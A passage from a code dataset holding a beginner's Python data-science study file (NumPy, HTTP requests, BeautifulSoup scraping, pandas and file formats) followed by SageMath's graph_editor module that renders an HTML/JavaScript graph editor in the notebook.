addition.\n\nf=a*b\nf\n\n#Another usefull tool is the dot product, that tells you how similar your vectors are.\n\ndot_prod=np.dot(a,b)\ndot_prod\n\n#If you want to add a constant to every value, NumPy will make it easier. This property is called broadcasting\nadding=np.array([4,2,1,3,5])\naddingresult= adding+1\naddingresult\n\n\n#There are universal functions, which are functions that operate in ND arrays\n\n#The mean of the elements is easily obtainable with the mean function\nmeanresult=addingresult.mean()\nmeanresult\n\n#To find the maximum value, use the max method.\n\naddingresult.max()\n\n#NumPy contains pi number as well. We could notate values in radians using the np.pi function. There is also a sin\n##function.\nx=np.array([0, np.pi/2, np.pi])\nx\n\ny=np.sin(x)\ny\n\n#If you want to plot mathematical functions in a evenly spaced plot, you can use the linspace function, which returns\n## spaced numbers in an interval. The num parameter determines the number of samples in the sequence.\n\nnp.linspace(-3,3, num=7)\n\nimport matplotlib.pyplot as plt\nx=np.linspace(0,2*np.pi, 100)\ny=np.sin(x)\nplt.plot(x,y)\nplt.show()\n\n#Two dimensional NumPy arrays\n##We will now create a 2D numpy array as follows\nimport numpy as np\nimport matplotlib.pyplot as plt\n\na=[[10, 13, 15], [20,23,25], [30,23,35]]\na\nA=np.array(a)\nA\n\n#One can use the ndim attribute to get  the dimensions, shape attribute to get the size of every dim. and the size, which\n## will obtian the number of elements in the array.\nA.ndim\nA.shape\nA.size\ntype(A)\n#Accessing elements in the array:\n##Say we want the middle element in the last array we've created\n##We can do it this way. As always, to get the row and column you want, you have to substract 1 from the actual index.\n##We will also retrieve the third row completely one by one and the whole row by itself. See the results to understand.\n####Hint: they're all the same after the first element obtained.\n\nA[1,1]\n\nA[2,0]\nA[2,1]\nA[2,2]\n\nA[2]\n\nA[2,0:3]\nA[2][0:3]\n\n\n#Adding, multiplying two arrays or :\n##NumPy simplifies the operations with arrays/matrix, because the attributes and functions is added in the\n### numpy.ndarray class.\n####First, we will need another array\n\nb=[[1,2,3],[4,5,6],[7,8,9]]\nB=np.array(b)\nA+B\n\nA*B\n\n2*B\n\n#In multiplication when using the * symbol, means that you will obtain the multiplication of M1(i1,j1) and\n##M2(i2,j2) with i1=i2 and j1=j2\n\nC=np.array([[1,2,3], [4,5,6]])\nD=np.array([[9,8,7],[6,5,4]])\nE=C*D\nE\n\n#Getting the multiplication of two matrix:\nnp.dot(A,B)\nnp.dot(C,D)\n#This means, you're getting the dot product of every line and column.\n\n#To get the transposed matrix, use the T attribute\nE.T\n\n                                ######## APIs #########\n\n#What is an API? An API helps two different softwares communicate with each other through inputs and\n##outputs. It stands for Application Program Interface For example, Panda.\n\n#There are REST APIs as well. They let two different softwares communicate through the internet, which allows you to\n##access many services that are not accessible off-line. RE stands for representational, S for State and T for transfer.\n###They have rules regarding to them:\n####1. Communication\n####2. Input or Request\n####3. Output or Response\n\n#Example of APIs\n\n##PyCoinGecko\n!pip install pycoingecko\nfrom pycoingecko import CoinGeckoApi\ncg=CoinGeckoApi()\n\n\n                                           ####HTTP Protocol#####\n#It is a protocol for transferring information through the internet. The REST APIs send a request communicated via HTTP\n##Message. Normally, this HTTP message contains a JSON file. When you enter a Web Page, first, you send a request to\n###the web server. If it arrives successfully, the server will give a response, usually by default in \"index.html\"\n\n#The uniform resource locator or URL is the link to the resources on the web. It's three parts are:\n## Scheme: The protocol. I.E http://\n##Internet Address or base URL. I.E www.google.com\n##Route: It is the location on the web server. I.E /images/IDSNlogo.png\n\n\n\n                                    #######Requests library########\nimport requests\n\n#We will use the solotodo webpage to check on prices when the knowledge is enough. First, we need to create\n##an object for the URL and use the get function. Then we will check the responses of the server.\nurl='https://www.solotodo.cl'\nr= requests.get(url)\nr.status_code                   ##200 stands for ok\nstbody=r.request.body\nstheaders=r.headers\nr.encoding\n\nstheaders['date']\n\n\n#The GET request is used to modify the request of the query. We will use httbin.org, which is a simple HTTP Request\n##and Response service. The GET request is used to retrieve information from a source.\nurl_get='http://httpbin.org/get'\npayload={\"name\": \"Joseph\", \"ID\":\"123\"}\n\nr=requests.get(url_get, params=payload)\nr.url\nr.request.body\nr.status_code\nr.text\nr.headers['Content-Type'] #Checking the type of data\nr.json() #Reading the data in the data type it is formated in.\n\n#The POST request is similar to the GET request. The main difference is, you will get the response in the body, which\n##was usually empty in the GET request. The post request is used to insert or update data. The HTTBIN service will send\n###Back the \"posted\" info or sent data  in the body of the request.\n\nurl_post= \"http://httpbin.org/post\"\npayload={\"name\":\"Carsten\",\"ID\":\"123\"}\nr_post= requests.post(url_post, data=payload)\n\n#As we can see, the requested info is the get request, but not in the post request.\nr.url\nr_post.url\n\nr.body\nr_post.body\n\n                                    ########Web Scraping###########\n\n#This are the APIs we will be utilizing for Web Scraping. Web Scraping helps the coder retrieve information and data\n##from a certain Web Page. This is useful when one is in need of large for data analysis pieces of data or\n### information that is constantly updated from a web page\n\nfrom bs4 import BeautifulSoup\nimport requests\n\n#One can store HTML code in a string. The following HTML code was created by the Cognitive Lab\n\nhtml=\"<!DOCTYPE html><html><head><title>Page Title</title></head><body><h3><b id='boldest'>Lebron James</b></h3><p> Salary: $ 92,000,000 </p><h3> Stephen Curry</h3><p> Salary: $85,000, 000 </p><h3> Kevin Durant </h3><p> Salary: $73,200, 000</p></body></html>\"\n\n#To parse and analyze the html code, the BeautifulSoup API is useful. This API will transform the data into a complex tree\n##of Python objects.\nbkbsalaries= BeautifulSoup(html,'html5lib')\n\n#If you'd like to get the HTML in the nested structure displayed, use prettify method.\nprint(bkbsalaries.prettify())\n\n#Say, we are retrieving title of the page and the name of the top paid player from the HTML code.\n\ntag_object=bkbsalaries.title\nprint(tag_object) #This is the page title.\ntype(tag_object) #As we can see, the object is a Beautiful Soup 4 object.\n\nmostpaid= bkbsalaries.h3\nprint('The top paid player is', mostpaid)\n\n#We can access child objects navigating down the branches of the tag_object. In this case we will navigate to the\n##next bold object.\n\ntag_child=mostpaid.b\nprint(tag_child)\n\n#Then, we can navigate to the parent object with the parent attribute\nparent_tag=tag_child.parent\nparent_tag\n\n#This is the same as\nmostpaid\n\n#To access the next sibling object, use the next_sibling att\n\nsibling_1=mostpaid.next_sibling\nsibling_1\n\nsibling_2=sibling_1.next_sibling\nsibling_2\n\n\n#In the case of our HTML code, there is an id \"boldest\" in it. To access this id, treat the object like a dicionary or\n##use the attrs attribute.\n\ntag_child['id']\n\ntag_child.attrs\n\n#Or you could use the get method\ntag_child.get('id')\n\n#A string is the piece of text within the tag. NavigableString class contains text. To obtain the text or string within\n##the tag, use the .string att\ntag_string= tag_child.string\ntag_string\n#Check the type. It is a NavigableString by bs4 API\n\ntype(tag_string)\n\n#The only difference between this object and a str python object, is that the NavigableString suppors some BeautifulSoup\n##features. You can convert this NavigableString to a python string using the str function\npythstring= str(tag_string)\npythstring\n\n#Now we will use tables. First, our table element. This one was also created by Cognitive class (thanks to them again)\ntable=\"<table><tr><td id='flight'>Flight No</td><td>Launch site</td> <td>Payload mass</td></tr><tr> <td>1</td><td><a href='https://en.wikipedia.org/wiki/Florida'>Florida<a></td><td>300 kg</td></tr><tr><td>2</td><td><a href='https://en.wikipedia.org/wiki/Texas'>Texas</a></td><td>94 kg</td></tr><tr><td>3</td><td><a href='https://en.wikipedia.org/wiki/Florida'>Florida<a> </td><td>80 kg</td></tr></table>\"\n\n#Then, we will transform this HTML table into a Beautifulsoup table\n\ntable_bs=BeautifulSoup(table,'html5lib')\n\n#To search through a code and extract specific tags\n\ntable_rows=table_bs.find_all('tr')\ntable_rows[0] #this are the headers of the table for the first second and third existing columns.\ntype(table_rows)\n\n#To obtain the child of the first header, in this case the table data (td) in the first column of the header,\n## use the td attribute.\n\nt_headers=table_rows[0]\nt_headers.td\n\n#One could iterate through the table to display, in our example, all the first column values with the for... in loops\nfor i,row in enumerate(table_rows):\n    print('This is row',i,'.', ' Code:', row)\n\n\n#row is a cell object within the HTML table. To get all the cell data we use the following code\ntable_data= table_bs.find_all('td')\nprint(table_data)\n\n#This might look a little complex to read, so we'll make it more human-friendly with a for...in loop to give it a check.\n\nfor i,row in enumerate(table_rows):\n    print(\"row\", i)\n    cells=table_bs.find_all('td')\n    for j, cell in enumerate(cells):\n        print('column',j, 'cell', cell)\n\n#To match cells within a same row, we can use the following code.\nlist_input=table_bs.find_all(name=['tr','td'])\nlist_input\n\n#If we want to be more specific when searching for something in an HTML code, we can search for attributes in tags. For\n##example, the first td elements have an id=flight. To search for these we do the following thinga\n\ntable_bs.find_all(id='flight')\n\n#We could search for specific clickable links too (href)\ntable_bs.find_all(href=\"https://en.wikipedia.org/wiki/Florida\")\n\n#Or we can check for any tag specific content by using true or false boolean values\ntable_bs.find_all(href=True)\n\n#Then, we can use the string attribute when looking for specific strings\n\ntable_bs.find_all(string=\"Texas\")\n\n#While the find_all method searches for a value in every line within a document, the find method will find only the first\n##element with the input. We will use two tables for this example (Ty cognitivelabs uwu). We will store their HTML\n###code within the two_tables object\n\ntwo_tables=\"<h3>Rocket Launch </h3><p><table class='rocket'><tr><td>Flight No</td><td>Launch site</td> <td>Payload mass</td></tr><tr><td>1</td><td>Florida</td><td>300 kg</td></tr><tr><td>2</td><td>Texas</td><td>94 kg</td></tr><tr><td>3</td><td>Florida </td><td>80 kg</td></tr></table></p><p><h3>Pizza Party  </h3><table class='pizza'><tr><td>Pizza Place</td><td>Orders</td> <td>Slices </td></tr><tr><td>Domino's Pizza</td><td>10</td><td>100</td></tr><tr><td>Little Caesars</td><td>12</td><td >144 </td></tr><tr><td>Papa John's </td><td>15 </td><td>165</td></tr>\"\n\n\n#Then we create a Beautiful Soup object with these two tables\n\nrocketsnpizza=BeautifulSoup(two_tables,'html.parser')\n\n#Now to search for the first table, we can use the find function\n\nrocketsnpizza.find('table')\n\n#To add more than to variables to our 'find' search, we can do so like this:\ntwo_tables_bs.find(\"table\",class_='pizza') #As we used 'class' word related to the HTML code, we add the underscore\n##to make Python understand we're not meaning the keyword from Python (class)\n\n\n#Now we are going to check how to download an scrap content of a Web Page\nimport requests\nfrom bs4 import BeautifulSoup\nurl='http://www.falabella.com'\n\n#To download the content of the webpage in text format, we use get.\ndata_falabella= requests.get(url).text\n\n#Then we create a Beautiful Soup object for the Falabella Webpage\ndata_fb_bs= BeautifulSoup(data_falabella,'html5lib' )\n#To get all the links, for example\nfor link in data_fb_bs.find_all('a', href=True):  #'a' stands for anchor or link.\n\n    print(link.get('href'))\n\n#Scraping the images of the page\n\nfor link in data_fb_bs.find_all('img'):\n    print(link)\n    print(link.get('src'))\n\n#This source has a table about colors, their names and codes.\nurl = \"https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBM-DA0321EN-SkillsNetwork/labs/datasets/HTMLColorCodes.html\"\n\n#Again, we want the code displayed as text\n\ndata_table=requests.get(url).text\n\n#Then we transform it to a BS object\ntable_color_bs=BeautifulSoup(data_table,'html5lib')\n\n#Scraping data form an HTML table\ntable_html=table_color_bs.find('table')\n\n\n#To retrieve all the rows, we do the following\n\nfor row in table_html.find_all('tr'): #tr stands for table row. First we need every row, then we extract the column\n    #now we want to get all columns in every row. A cell or column is contained within the td or table data tag\n    cols=row.find_all('td')\n    color_name=cols[2]\n    hex_code=cols[3]\n    print(\"{}--->{}\".format(color_name,hex_code)) #The format method will let us get the name of the color and the color\n                                                ###in their respective hex codes.\n\n\n\n#Now, let's scrape data from HTML tables, then convert them into a DataFrame using BS and Pandas\n\nimport pandas as pd\n\nurl = \"https://en.wikipedia.org/wiki/World_population\" #This url contains info about the population in the world\n\nworld_data = requests.get(url).text\n\nworld_data_bs=BeautifulSoup(world_data, 'html5lib')\n\nwd_table=world_data_bs.find_all('table') #HTML for table is table. EZ\n\n#To check how many tables we've got, we can use the len method\nlen(wd_table)\n\n#As an example, we will get the '10 most densely populated countries' table\n\nfor index, table in enumerate(wd_table):\n    if ('10 most densely populated countries' in str(table)):\n        table_index=index\nprint(table_index)\n\nprint(wd_table[table_index].prettify())\npopulation_data=pd.DataFrame(columns=['Rank', 'Country', 'Population', 'Area', 'Density'])\n\nfor row in wd_table[table_index].tbody.find_all('tr'):\n    col=row.find_all('td')\n    if (col !=[]):\n        rank=col[0].text\n        country=col[1].text\n        population=col[2].text.strip()\n        area=col[3].text.strip()\n        density=col[4].text.strip()\n        population_data= population_data.append({'Rank':rank, 'Country':country, 'Population': population, 'Area':area, 'Density':density}, ignore_index=True)\n\n\npopulation_data\n\n#How to o scrape data from HTML tables into a DataFrame with BeautifulSoup and read_html, to make things easier.\n\ndataframe_list = pd.read_html(url, flavor='bs4') #This function returns a list of data frames and we need to pick\n                                                    #The one we need\n\nlen(dataframe_list)\n\npopulation_data_read_html= pd.read_html(str(wd_table[5]), flavor='bs4')[0]\n\npopulation_data_read_html\n\n\n#How to scrape data from a HTML table into a Data Frame with read_html\n\ndataframe_list=pd.read_html(url, flavor='bs4')\n\nlen(dataframe_list)\n\ndataframe_list[5]\n\n\n#Finally, we can use the match parameter to retrieve a specific table. When the table contains the provided string,\n##it will be read\n\npd.read_html(url, match='10 most densely populated countries', flavor='bs4')[0]\n\n                                ######Data Engineering#####\n\n#One of the critical and basic skills of any Data Scientist is Data Engineering.\n#The three steps in Data Engineering are known as ETL, that stands for:\n#1. Extract - This is the step where the information is gathered from multiple sources, which can be in different file\n    # formats, like JSON, CSV, XLSX, or others.\n#2. Transform: This means to remove data that is not useful for analysis and to convert the data from different sources\n    # from their format  to the same format for every source.\n#3. Load: To load data inside a warehouse after the previous process.\n\n                         ########How to work with different file formats#########\n\n#there are different file formats like csv, xml, json, xlsx. Pandas will help us with this. To get the pandas API, we\n##use the import function\n\nimport pandas as pd\n\n#We can read json files too with the json API. First, we import, then we read. Remember to use the with open as command\n##for opening the file then closing it. Json files are a file type similar to Python dictionaries.\n\nimport json\n\n#For xml or extensible markup Language, we need two different APIs, since Pandas can not read this type of file.\n##We will need the xml.etree.ElementrTree Api to do this.\nimport pandas as pd\nimport xml.etree.ElementTree as etree\n\ntree=eetree.parse('fileExample.xml') #To read the file\nroot=tree.getroot()\ncolumns=['Name', 'Phone Number', 'Birthday'] #To create the headers of the columns in the dataframe\ndf=pd.DataFrame(columns=columns) #We assign the headers to the Data Frame\n\nfor node in root:           #This loop will go through the document and collect the necessary info, for a later appending.\n    name=node.find('name').text\n    phonenumber=node.find('phonenumber.text')\n    birthday=node.find('birthday').text\n\n#This is how we read a csv file. First we need the PD API, then the file and finally we use the read_csv method\n\nimport pandas as pd\nurl ='https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-PY0101EN-SkillsNetwork/labs/Module%205/data/addresses.csv'\ndf = pd.read_csv(url)\n\ndf\n\n#As the csv file contains no column names, we add them like this\n\ndf.columns=['First Name', 'Last Name', 'Location', 'City', 'State', 'Area Code']\n\ndf\n\n#To select one column, we do this (I'm kinda tired of writing and this is the final part of the Course, so I'll be short)\n\ndf[\"First Name\"]\ntype(df)\n#To select different columns we use two brackets like this\ndf_2=df[['First Name', 'Last Name', 'Location']]\ndf_2\n\n#The loc and iloc will help us with getting info from specific indexes.\n\ndf.loc[0] #First row\ndf.loc[[0,1,2], 'First Name'] #0th, 1ts and 2nd rows for the First name column\n\n\n\n#The iloc uses the indexes based searching mmethod. We need to pass an integer index.\n\ndf.iloc[[0,1,2],0] #0th, 1st, 2nd row of the first column 'First Name'\n\n\n#The transform function returns a self-produced dataframe with values it transformed after applying the parameters specified\n##in the function. This is how it works\n\nimport pandas as pd\nimport numpy as np\n\ndf=pd.DataFrame(np.array([[0,1,2], [3,4,5], [6,7,8]]), columns=['a', 'b', 'c'])\ndf\n\n#If we wanted to add 10 to every element in the dataframe, we can use the lambda function of python\ndf=df.transform(func=lambda x : x+10)\ndf\n\n#Now we will find the square root for each element in the matrix.\n\nresult=df.transform(func=['sqrt'])\nresult\n\n\n#JSON files or JavaScript Object Notation is a data interchange format with a lightweight. Easy for humans to understand\n##and write.\n\n#It is built on two structures:\n    #1. A collection of name/value pairs, like dictionaries in Python. In different languages, this is known as object,\n        #record, struct, dictionary, hash, table, keyed list or associative array.\n    #2. An ordered list of values. This is usually known as an array, vector, list, or sequence\n\n#JSON is a language-independent data format. Derived from Javascript, but many recent programming languages code to\n##create and parse JSON formatted data and can be used in a diverse range of applications.\n\n#Similar to dictionaries in Python, JSON uses string that contain values in a key-value mappings within {} brackets.\n##The builtin package json in Python supports JSON code.\n\nimport json\n\n\n#To write files in JSON:\n##The concept usually used for the process of converting an object in a specific format suitabgle for web\n### transmission is \"Serialization\".\n\n#This is the dictionary we will use to transform into a JSON file. It was created by IBM and its cognitiveclass.\n\nperson = {\n    'first_name' : 'Mark',\n    'last_name' : 'abc',\n    'age' : 27,\n    'address': {\n        \"streetAddress\": \"21 2nd Street\",\n        \"city\": \"New York\",\n        \"state\": \"NY\",\n        \"postalCode\": \"10021-3100\"\n    }\n}\n\n#To serialize in json, we can use the dump() function, wich converts the dictionary into a JSON file.\n## The parameters are\n    #1. dictionary- Name of the dictionary to convert\n    #2. file pointer- which mode you will open it. Write, read or append, etc.\n\nwith open('person.json', 'w') as f:         #Serializing into a file\n    json.dump(person, f)\n\n#To create a JSON object from a dictionary, we use the json.dumps() to convert it.\n## Its parameters are\n    #1. dictionary- Name of the dictionary\n    #2. indent- Number of units for indentation\n\njson_object=json.dumps(person, indent=4) #Indent is the number of separations, we use this to make the code more readable\n\njson_object\n\n\n#To do the opposite and to read JSON to a file, we call it Deserialization and it uses the load function\n## The only parameter it needs is the\n    #1. File Pointer- Points to a JSON file\n\nwith open('sample.json', 'r') as openfile: #open a JSON file\n    json_object=json.load(openfile) #reading the file\n\nprint(json_object)\nprint(type(json_object))\n\n\n#To read a data from XLSX file. This file is known as a Microsoft Excel Open XML file format. Just another type of\n##Spreadsheet file format. It is organized under cells and columns\n\nimport pandas as pd\nimport urllib.request\n\nurllib.request.urlretrieve(\"https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-PY0101EN-SkillsNetwork/labs/Module%205/data/file_example_XLSX_10.xlsx\", \"sample.xlsx\")\ndf = pd.read_excel(\"sample.xlsx\")\n\ndf\n\n#To read the XML file format. This format is known as  Extensible Markup Language. It uses tags to define objects.\n##It is human-readable and machine-readable\n\n#As Pandas include methods to read it, we can use the xml.eetree.ElementrTree to read it. It is built-in with Python.\n##It will let us parse and create XML documents. It represents the XML doc as a tree, in which we can move across the nodes,\n### that represent elements and sub-elements of the XML file.\n\nimport xml.etree.ElementTree as ET\n\n#To create the file structure\nemployee= ET.Element('employee')\ndetails= ET.SubElement(employee, 'details')\nfirst= ET.SubElement(details, 'firstname')\nsecond=ET.SubElement(details,'lastname')\nthird=ET.SubElement(details, 'age')\nfirst.text='Carsten'\nsecond.text='Teufel'\nthird.text='25'\n\n#To write a XML file with the results\nmydata1= ET.ElementTree(employee)\nwith open('new_example.xml', 'wb') as files:\n    mydata1.write(files)\n\n\n\n#To reading xml with the xml.etree.ElementTree method\n\nimport pandas as pd\n\nimport xml.etree.ElementTree as ET\nimport requests\nurl= 'https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-PY0101EN-SkillsNetwork/labs/Module%205/data/Sample-employee-XML-file.xml'\nresponse= requests.get(url)\n\nwith open('Sample-employee-XML-file.xml', 'wb') as file:\n    file.write(response.content)\n\n#First, we need to parse the XML file and create a list of columns for our data frame, to later extract useful info\n##from the XML file, then add it to a pandas Data Frame\n\n#Example\n\ntree=etree.parse('Sample-employee-XML-file.xml')\n\nroot= tree.getroot()\ncolumns=['firstname', 'lastname', 'title', 'division', 'building', 'room']\ndataframe=pd.DataFrame(columns=columns)\nfor node in root:\n    firstname = node.find(\"firstname\").text\n\nlastname = node.find(\"lastname\").text\n\ntitle = node.find(\"title\").text\n\ndivision = node.find(\"division\").text\n\nbuilding = node.find(\"building\").text\n\nroom = node.find(\"room\").text\n\ndataframe = dataframe.append(pd.Series([firstname, lastname, title, division, building, room], index=columns),\n                               ignore_index=True)\n\ndataframe\n\n\n#To save data, we can use the dataframe.to_csv()\n\ndataframe.to_csv('employee.csv', index=False)\n\n#To read a Image File, PIL will help. It's the Python Imaging Library, which provides python an interpreter with\n##image editing capabilities.\n\nfrom PIL import Image\n\nimport urllib.request\n\n#To download the dataset\n\nurllib.request.urlretrieve(\"https://hips.hearstapps.com/hmg-prod.s3.amazonaws.com/images/dog-puppy-on-garden-royalty-free-image-1586966191.jpg\", \"dog.jpg\")\n\n#Reading the image\nimg=Image.open('dog.jpg')\n\ndisplay(img)\n\n\n                                    ########Data Analysis########\n\n\nimport pandas as pd\npath = 'https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-PY0101EN-SkillsNetwork/labs/Module%205/data/diabetes.csv'\ndf=pd.read_csv(path)\n\nprint(\"The first 5 rows of the dataframe\")\ndf.head(5)\n\n#Dimensions of the dataframe\ndf.shape\n\n#For statistical overview of dataset\n\ndf.info() #This will give you the column names, how many non-null rows there are and the Dtype or datatype\n\n\ndf.describe() #This is for basic statistical details, like percentile, mean, Std dev. When applied to series of strings\n                #the result is others.\n\n\n#To check for null values (missing values) Python has two methods: isnull() and notnull()\n\nmissing_data=df.isnull()\nmissing_data.head(5)\nmissing_data.shape\n\n#To count for missing values in each column, we do the following:\n\nfor column in missing_data.columns.values.tolist():\n    print(column)\n    print(missing_data[column].value_counts())\n    print(\"\")\n\n\n\n#To correct the data format, we need to check for dtypes or data types in the df\n\ndf.dtypes\n\n\n#For visualization, we will use matplotlib and seaborn. Visualization is one of the best ways to get information and\n##insight from the dataset.\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nlabels='Diabetic','Not Diabetic'\nplt.pie(df['Outcome']. value_counts(), labels=labels, autopct='%0.02f%%')\nplt.legend()\nplt.show()", "meta": {"hexsha": "35b513eea09d862cb678c04ee94e8e257c74655a", "size": 41984, "ext": "py", "lang": "Python", "max_stars_repo_path": "RoadToDSpart1.py", "max_stars_repo_name": "CrstnT/Repo_CTeufel", "max_stars_repo_head_hexsha": "797737f2aac0fbfb8260d9ca87a278a721ee90b1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "RoadToDSpart1.py", "max_issues_repo_name": "CrstnT/Repo_CTeufel", "max_issues_repo_head_hexsha": "797737f2aac0fbfb8260d9ca87a278a721ee90b1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "RoadToDSpart1.py", "max_forks_repo_name": "CrstnT/Repo_CTeufel", "max_forks_repo_head_hexsha": "797737f2aac0fbfb8260d9ca87a278a721ee90b1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.8, "max_line_length": 562, "alphanum_fraction": 0.7212271341, "include": true, "reason": "import numpy", "num_tokens": 10612, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.11920292828022305, "lm_q1q2_score": 0.052189843164306506}}
{"text": "r\"\"\"\nGraph editor\n\"\"\"\nfrom __future__ import absolute_import\n#*****************************************************************************\n#      Copyright (C) 2009   Radoslav Kirov\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\nimport sys\n\nfrom .graph_generators import graphs\nfrom sage.misc.html import html\n\nfrom sage.server.support import EMBEDDED_MODE\n\n\ndef graph_to_js(g):\n    \"\"\"\n    Returns a string representation of a :class:`Graph` instance\n    usable by the :func:`graph_editor`.  The encoded information is\n    the number of vertices, their 2D positions, and a list of edges.\n\n    INPUT:\n\n    - ``g`` - a :class:`Graph` instance\n\n    OUTPUT:\n\n    - a string\n\n    EXAMPLES::\n\n        sage: from sage.graphs.graph_editor import graph_to_js\n        sage: G = graphs.CompleteGraph(4)\n        sage: graph_to_js(G)\n        'num_vertices=4;edges=[[0,1],[0,2],[0,3],[1,2],[1,3],[2,3]];pos=[[0.5,0.0],[0.0,0.4999999999999999],[0.4999999999999999,1.0],[1.0,0.5000000000000001]];'\n        sage: graph_to_js(graphs.StarGraph(2))\n        'num_vertices=3;edges=[[0,1],[0,2]];pos=[[0.75,0.5],[1.0,0.0],[0.0,1.0]];'\n    \"\"\"\n    string = ''\n    vertex_list = g.get_vertices().keys()\n    string += 'num_vertices=' + str(len(vertex_list)) + ';'\n    string += 'edges=['\n    for i, e in enumerate(g.edges()):\n        if(i != 0):\n            string += ','\n        string += '[' + str(vertex_list.index(e[0])) + ',' + str(vertex_list.index(e[1])) + ']'\n    string += '];'\n    string += 'pos=['\n    pos = g.get_pos()\n    max_x = max([i[0] for i in pos.values()])\n    max_y = max([i[1] for i in pos.values()])\n    min_x = min([i[0] for i in pos.values()])\n    min_y = min([i[1] for i in pos.values()])\n    if max_x == 0:\n        max_x = 1\n    if max_y == 0:\n        max_y = 1\n    for i, v in enumerate(vertex_list):\n        if(i != 0):\n            string += ','\n        new_pos = [float(pos[v][0] - min_x) / (max_x - min_x),\n                   1.0 - float(pos[v][1] - min_y) / (max_y - min_y)]\n        string += str(new_pos)\n    string += '];'\n    string = string.replace(' ', '')\n    return string\n\ndef graph_editor(graph=None, graph_name=None,\n                 replace_input=True, **layout_options):\n    \"\"\"\n    Opens a graph editor in the Sage notebook.\n\n    INPUT:\n\n    - ``graph`` - a :class:`Graph` instance (default:\n      graphs.CompleteGraph(2)); the graph to edit\n\n    - ``graph_name`` - a string (default: None); the variable name to\n      use for the updated instance; by default, this function attempts\n      to determine the name automatically\n\n    - ``replace_input`` - a boolean (default: True); whether to\n      replace the text in the input cell with the updated graph data\n      when \"Save\" is clicked; if this is False, the data is **still**\n      evaluated as if it had been entered in the cell\n\n    EXAMPLES::\n\n        sage: g = graphs.CompleteGraph(3)\n        sage: graph_editor(g)                       # not tested\n        sage: graph_editor(graphs.HouseGraph())     # not tested\n        sage: graph_editor(graph_name='my_graph')   # not tested\n        sage: h = graphs.StarGraph(6)\n        sage: graph_editor(h, replace_input=False)  # not tested\n    \"\"\"\n    import sagenb.notebook.interact\n    if graph is None:\n        graph = graphs.CompleteGraph(2)\n\n    if not EMBEDDED_MODE:\n        return \"This graph editor only runs in the Sage notebook.\"\n\n    graph.layout(save_pos = True, **layout_options)\n\n    if graph_name is None:\n        graph_name = ''\n        locs = sys._getframe(1).f_locals\n        for var in locs:\n            if id(locs[var]) == id(graph):\n                graph_name = var\n\n    cell_id = sagenb.notebook.interact.SAGE_CELL_ID\n\n    # TODO: Put reasonable checks for large graphs, before disaster\n    # occurs (i.e., breaks browser).\n\n    close_button = r\"\"\"<button onclick=\"cell_delete_output(%(cell_id)s);\">Close</button>\"\"\" % locals()\n\n    if replace_input:\n        eval_strategy = r\"\"\"\n    f += ' graph_editor(' + g[2] + ');'\n    \\$('#cell_input_%(cell_id)s').val(f);\n    cell_input_resize(%(cell_id)s);\n    evaluate_cell(%(cell_id)s, false);\n\"\"\" % locals()\n    else:\n        eval_strategy = r\"\"\"\n    saved_input = \\$('#cell_input_%(cell_id)s').val();\n    \\$('#cell_input_%(cell_id)s').val(f);\n    evaluate_cell(%(cell_id)s, false);\n    \\$('#cell_input_%(cell_id)s').val(saved_input);\n    send_cell_input(%(cell_id)s);\n    cell_input_resize(%(cell_id)s);\n\"\"\" % locals()\n\n    update_button = r\"\"\"<button onclick=\"\n    var f, g, saved_input;\n    g = \\$('#iframe_graph_editor_%(cell_id)s')[0].contentWindow.update_sage();\n\n    if (g[2] === '') {\n        alert('You need to give a Sage variable name to the graph, before saving it.');\n        return;\n    }\n    f = g[2] + ' = Graph(' + g[0] + '); ' + g[2] + '.set_pos(' + g[1] + '); '\n    %(eval_strategy)s\n\">Save</button>\"\"\" % locals()\n\n    graph_js = graph_to_js(graph)\n    data_fields = \"\"\"<input type=\"hidden\" id=\"graph_data_%(cell_id)s\" value=\"%(graph_js)s\"><input type=\"hidden\" id=\"graph_name_%(cell_id)s\" value=\"%(graph_name)s\">\"\"\" % locals()\n\n    return html(r\"\"\"<div id=\"graph_editor_%(cell_id)s\"><table><tbody>\n      <tr><td><iframe style=\"width: 800px; height: 400px; border: 0;\" id=\"iframe_graph_editor_%(cell_id)s\" src=\"/javascript/graph_editor/graph_editor.html?cell_id=%(cell_id)s\"></iframe>%(data_fields)s</td></tr>\n      <tr><td>%(update_button)s%(close_button)s</td></tr>\n</tbody></table></div>\"\"\" % locals())\n\n# This is commented out because the mouse_out call raises an error in\n# Firebug's console when the event fires but the function itself has\n# not yet been loaded.\n\n#      <tr><td><iframe style=\"width: 800px; height: 400px; border: 0;\" id=\"iframe_graph_editor_%(cell_id)s\" src=\"/javascript/graph_editor/graph_editor.html?cell_id=%(cell_id)s\" onmouseout=\"\\$('#iframe_graph_editor_%(cell_id)s')[0].contentWindow.mouse_out();\"></iframe>%(data_fields)s</td></tr>\n", "meta": {"hexsha": "9c50404e3a926911054ba9ae191d14faf31e76e1", "size": 6325, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/graphs/graph_editor.py", "max_stars_repo_name": "rekhabiswal/sage", "max_stars_repo_head_hexsha": "e8633b09919542a65e7e990c8369fee30c7edefd", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, 